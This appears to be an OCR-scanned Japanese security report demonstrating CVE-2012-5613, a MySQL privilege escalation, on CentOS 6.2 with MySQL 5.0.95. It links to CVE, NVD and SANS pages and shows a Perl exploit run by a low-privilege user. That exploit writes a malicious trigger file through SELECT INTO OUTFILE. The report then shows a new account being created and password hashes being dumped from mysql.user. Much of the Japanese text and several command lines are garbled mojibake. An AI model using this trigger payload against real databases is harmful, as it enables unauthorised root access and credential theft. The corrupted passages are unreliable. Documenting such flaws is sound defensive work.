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CVE-2012-5613
http://cve.mitre. org/cgi-bin/cvename. cgi?name=CVE-2012-5613

National Vulnerability Database (CVE-2012-5613)
http://web. nvd. nist. gov/view/vuln/detai |?vulnld=CVE-2012-5613

Zero Day MySQL Buffer Overflow
http://isc. sans. edu/diary. html?storyid=14611
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Cent0S 6.2 E@d MySQL Server 5.0.95 Source distribution

(RAEBE]
SEOBREEHCAW-a— KX, 7V REEZEFTEAD. —R1—H" user!” ZANT, 2—7 v b

DRTLLED WSO —NIZERL. FEOEEEERI—Y “nanorymous” EIERR L=, 1ERLL
f-EBEERI—YFIZTAS I L. BRHOI—FIEREMELTLET,

HNIZEY VE—FIBE—5Y FORTLEDWNSIL H—/\D, TRTOIEENTTREE LY ET,
* REZ—5w FDXTALIFE Cent0S 6.2 MySQL 5. 0. 95 TF,
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MySQL Y—/8i2, EREL-EBEERL—FOJA L, Ny aBEBRERELEER

REHD. 2—7 v b XATLEDI—HIEHRERT, " nanorymous” IFFFTE L AL
> select user,password from mysql.user;

userl *94BDCEBE19083CE2ALF959FD02F964C7AFACFC29
user *14E65567ABDB5135D0CFDI9A70B3032C179A49EE7
*OCFBB 2F3F6C106020035386DA5BBBF1249A11

rows in set (0.00 sec)

REFNSFZ—4F Y MR L, HEI— FEE(T

pebian: /# perl .Kmysq] _privilege_elevation.pl
select 'TYPE=TRIGGERS' 1nto outfile'/var/1ib/mysql/exampledb/rootme. TRG' LINES TER
1INATED BY '\ntriggers=\'CREATE DEFINER— root @ Tocalhost™ trigger atk after inser

" nanorymous” 1—HHMERIND (F#),
ilege_elevation.pl line 159.

00TWOOT!
Found a row:

userl, name = *94BDCEBE1908
user, " 6556
nanorymous ,

root, name = *

Found a row:
Found a row:
Found a row:
pebian: /#
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fEF & t=" nanorymous” 11— ‘U“CEI’]*(./L(ﬁ?") DB ADIEHR =S (F#),
Seh - T, Z0%. 167 b

" password:
elcome to the MySQL monitor. Commands end with ; or \g.

‘our MySQL connection id is 29

server version: 5.0.95-community-log MySQL Community Edition (GPL)

ype 'help;" or "\h' for help. Type '\c' to clear the buffer.

mysq >
mysql> select user,password trom mysql.user;

userl "‘94E-[_)CEE:E19083CE2A1F959FD02F964” FACFC29
user *14E65567 ABDBSIJSDOCEDQA?OBEO?_QC _9A49EE.?
nanorymous “OBDEDZAJLESJ&S bSSQDBSBSQEEDGBSLIDSECCISJ

rows 1n set (U.UU sec)
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